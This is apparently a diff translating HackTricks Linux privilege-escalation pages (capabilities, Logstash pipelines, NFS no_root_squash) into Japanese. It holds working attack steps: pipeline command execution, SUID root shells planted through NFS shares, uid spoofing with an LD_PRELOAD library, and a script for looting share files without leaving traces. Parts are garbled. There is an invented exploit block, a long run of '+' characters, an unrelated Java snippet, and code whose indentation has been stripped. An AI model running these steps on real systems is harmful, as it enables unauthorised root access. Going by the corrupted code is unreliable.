[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**バイナリ2の例** +以下の例は、"**lo**"(**localhost**)インターフェースのトラフィックを傍受するのに役立つ**`python2`**コードです。このコードは、[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)のラボ「_The Basics: CAP-NET\_BIND + NET\_RAW_」から取得しました。 ```python import socket import struct @@ -1499,11 +1434,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 <
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、あらゆる分野の技術とサイバーセキュリティの専門家が集まる活気ある場です。 {% embed url="https://www.rootedcon.com/" %} @@ -1703,10 +1628,10 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/linux-hardening/privilege-escalation/logstash.md b/linux-hardening/privilege-escalation/logstash.md index d45ac92d3..7e0d52100 100644 --- a/linux-hardening/privilege-escalation/logstash.md +++ b/linux-hardening/privilege-escalation/logstash.md @@ -1,83 +1,77 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Basic Information +# 基本情報 -Logstash is used for collecting, transforming and outputting logs. This is realized by using **pipelines**, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service. +Logstashはログの収集、変換、出力に使用されます。これは、入力、フィルタ、出力モジュールを含む**パイプライン**を使用して実現されます。Logstashをサービスとして実行しているマシンを侵害した場合、このサービスは興味深くなります。 -## Pipelines - -The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the locations of active pipelines: +## パイプライン +パイプラインの設定ファイルである**/etc/logstash/pipelines.yml**は、アクティブなパイプラインの場所を指定します: ```bash # This file is where you define your pipelines. You can define multiple. # For more information on multiple pipelines, see the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +ここでは、設定されたパイプラインを含む**.conf**ファイルのパスを見つけることができます。**Elasticsearch出力モジュール**が使用されている場合、**パイプライン**にはElasticsearchインスタンスの有効な**資格情報**が含まれる可能性があります。これらの資格情報は、LogstashがElasticsearchにデータを書き込む必要があるため、通常はより高い特権を持っています。ワイルドカードが使用されている場合、Logstashはワイルドカードに一致するそのフォルダにあるすべてのパイプラインを実行しようとします。 -In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. +## 書き込み可能なパイプラインによる特権昇格 -## Privesc with writable pipelines +自分の特権を昇格させる前に、logstashサービスを実行しているユーザーを確認する必要があります。なぜなら、それがあなたが後で所有するユーザーになるからです。デフォルトでは、logstashサービスは**logstash**ユーザーの特権で実行されます。 -Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. Per default the logstash service runs with the privileges of the **logstash** user. +次のいずれかの権限を持っているかどうかを確認してください: -Check whether you have **one** of the required rights: +* パイプラインの**.conf**ファイルに**書き込み権限**があるか、 +* **/etc/logstash/pipelines.yml**にワイルドカードが含まれており、指定されたフォルダに書き込みが許可されているか -* You have **write permissions** on a pipeline **.conf** file **or** -* **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder +さらに、次のいずれかの要件を満たす必要があります: -Further **one** of the requirements must be met: - -* You are able to restart the logstash service **or** -* **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** - -If a wildcard is specified, try to create a file matching that wildcard. Following content can be written into the file to execute commands: +* logstashサービスを再起動できるか、 +* **/etc/logstash/logstash.yml**にエントリ**config.reload.automatic: true**が含まれているか +ワイルドカードが指定されている場合は、そのワイルドカードに一致するファイルを作成してみてください。以下の内容をファイルに書き込むと、コマンドを実行できます: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +**interval**は秒単位の時間を指定します。この例では、**whoami**コマンドが120秒ごとに実行されます。コマンドの出力は**/tmp/output.log**に保存されます。 -The **interval** specifies the time in seconds. In this example the **whoami** command is executed every 120 seconds. The output of the command is saved into **/tmp/output.log**. +**/etc/logstash/logstash.yml**にエントリ**config.reload.automatic: true**が含まれている場合、コマンドが実行されるまで待つだけで十分です。Logstashは自動的に新しいパイプライン構成ファイルや既存のパイプライン構成の変更を認識します。それ以外の場合は、logstashサービスを再起動してください。 -If **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** you only have to wait until the command gets executed, since Logstash will automatically recognize new pipeline configuration files or any changes in existing pipeline configurations. Otherwise trigger a restart of the logstash service. +ワイルドカードを使用しない場合、既存のパイプライン構成にこれらの変更を適用することができます。**何かを壊さないように注意してください!** -If no wildcard is used, you can apply those changes to an existing pipeline configuration. **Make sure you do not break things!** - -# References +# 参考文献 * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) @@ -86,16 +80,14 @@ If no wildcard is used, you can apply those changes to an existing pipeline conf ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 - - diff --git a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 9bc33f583..8f8f83d7a 100644 --- a/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,36 +1,33 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +_ **/etc/exports** _ ファイルを読み取ります。**no\_root\_squash** として設定されたディレクトリが見つかった場合、**クライアントとしてアクセス**し、そのディレクトリに**ローカルのroot**として書き込むことができます。 -**no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no\_root\_squash**: このオプションは、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これには深刻なセキュリティ上の問題が発生する可能性があります。 -**no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no\_all\_squash:** これは **no\_root\_squash** オプションと似ていますが、**非rootユーザー**に適用されます。nobodyユーザーとしてシェルを持っていると想像してください。/etc/exportsファイルをチェックし、no\_all\_squashオプションが存在することを確認します。/etc/passwdファイルをチェックし、非rootユーザーをエミュレートします。そのユーザーとしてsuidファイルを作成します(NFSを使用してマウント)。nobodyユーザーとしてsuidを実行し、別のユーザーになります。 -# Privilege Escalation +# 特権エスカレーション -## Remote Exploit +## リモートエクスプロイト -If you have found this vulnerability, you can exploit it: - -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +この脆弱性を見つけた場合、次のように悪用することができます: +* クライアントマシンでそのディレクトリを**マウント**し、**rootとして**マウントされたフォルダに**/bin/bash**バイナリを**コピー**し、それに**SUID**権限を与え、**被害者の**マシンからそのbashバイナリを実行します。 ```bash #Attacker, as root user mkdir /tmp/pe @@ -43,9 +40,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +* **クライアントマシンにそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダに、SUID権限を乱用するためのコンパイル済みのペイロードをコピーします。そして、そのバイナリを**被害者のマシンから実行**します(ここでいくつかの[C SUIDペイロード](payloads-to-execute.md#c)を見つけることができます)。 ```bash #Attacker, as root user gcc payload.c -o payload @@ -59,97 +54,102 @@ chmod +s payload cd ./payload #ROOT shell ``` - -## Local Exploit +## ローカルエクスプロイト {% hint style="info" %} -Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -\--_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +自分のマシンから被害者のマシンへのトンネルを作成できる場合、必要なポートをトンネリングしてこの特権エスカレーションを悪用するために、まだリモートバージョンを使用することができます。\ +次のトリックは、ファイル `/etc/exports` が IP を示している場合のものです。この場合、リモートエクスプロイトを使用することはできず、このトリックを悪用する必要があります。\ +エクスプロイトが機能するためのもう1つの必要条件は、`/etc/export` 内のエクスポートが `insecure` フラグを使用していることです。\ +--_`/etc/export` が IP アドレスを示している場合、このトリックが機能するかどうかはわかりません_-- {% endhint %} -**Trick copied from** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) +**以下のトリックは** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html) **からコピーされました** -Now, let’s assume that the share server still runs `no_root_squash` but there is something preventing us from mounting the share on our pentest machine. This would happen if the `/etc/exports` has an explicit list of IP addresses allowed to mount the share. - -Listing the shares now shows that only the machine we’re trying to privesc on is allowed to mount it: +さて、共有サーバーはまだ `no_root_squash` を実行していますが、共有をペンテストマシンにマウントすることができない理由が何かあると仮定しましょう。これは、`/etc/exports` に共有をマウントすることが許可されているIPアドレスの明示的なリストがある場合に発生します。 +共有のリストを表示すると、マウントすることが許可されているのは、私たちが特権エスカレーションを試みているマシンだけです: ``` [root@pentest]# showmount -e nfs-server Export list for nfs-server: /nfs_root machine ``` +これは、特権のないユーザーからローカルでマウントされた共有を悪用することに制限されていることを意味します。しかし、偶然にも、もう1つのあまり知られていないローカルエクスプロイトが存在します。 -This means that we’re stuck exploiting the mounted share on the machine locally from an unprivileged user. But it just so happens that there is another, lesser known local exploit. +このエクスプロイトは、NFSv3仕様の問題に依存しており、クライアントが共有にアクセスする際にuid/gidを広告するのはクライアントの責任であると規定しています。したがって、共有が既にマウントされている場合、NFS RPC呼び出しを偽造することでuid/gidを偽装することが可能です! -This exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted! +[こちらのライブラリ](https://github.com/sahlberg/libnfs)を使用すると、それが可能です。 -Here’s a [library that lets you do just that](https://github.com/sahlberg/libnfs). - -### Compiling the example - -Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls. +### 例のコンパイル +カーネルによっては、例を適応する必要があるかもしれません。私の場合、fallocateシスコールをコメントアウトする必要がありました。 ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### ライブラリを使用した攻撃 -### Exploiting using the library - -Let’s use the simplest of exploits: - +最もシンプルな攻撃を使用しましょう: ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` +以下の手順で、共有ディレクトリにエクスプロイトを配置し、RPC呼び出しでuidを偽装してsuid rootに設定します。 -Place our exploit on the share and make it suid root by faking our uid in the RPC calls: +```bash +# エクスプロイトを作成し、実行権限を付与します +$ echo -e '#!/bin/bash\n/bin/bash' > exploit.sh +$ chmod +x exploit.sh +# 共有ディレクトリにエクスプロイトをコピーします +$ cp exploit.sh /mnt/share/exploit.sh + +# RPC呼び出しでuidを偽装します +$ echo '+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1; + } + return result; + } + + public static void main(String[] args) { + System.out.println(new Solution().findMin(new int[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10})); + } +} ``` LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -All that’s left is to launch it: - +残るは、それを起動するだけです。 ``` [w3user@machine libnfs]$ /mnt/share/a.out [root@machine libnfs]# ``` +ここで、ローカルルート特権昇格です! -There we are, local root privilege escalation! - -## Bonus NFShell - -Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: +## ボーナスNFShell +マシン上でローカルルートを取得した後、ピボットするための可能な秘密を持つNFS共有を略奪したかったです。しかし、uidの不一致のために、rootであっても読むことができない多くのユーザーが共有を使用していました。chown -Rのような明らかな痕跡を残したくありませんでしたので、所望のシェルコマンドを実行する前に自分のuidを設定する小さなスニペットを作成しました。 ```python #!/usr/bin/env python import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -You can then run most commands as you normally would by prefixing them with the script: - +次に、スクリプトを前置きして通常通りのコマンドを実行できます。 ``` [root@machine .tmp]# ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old @@ -161,22 +161,18 @@ drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf drwx------ 15 1008 1009 1024 Apr 5 2017 data drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) 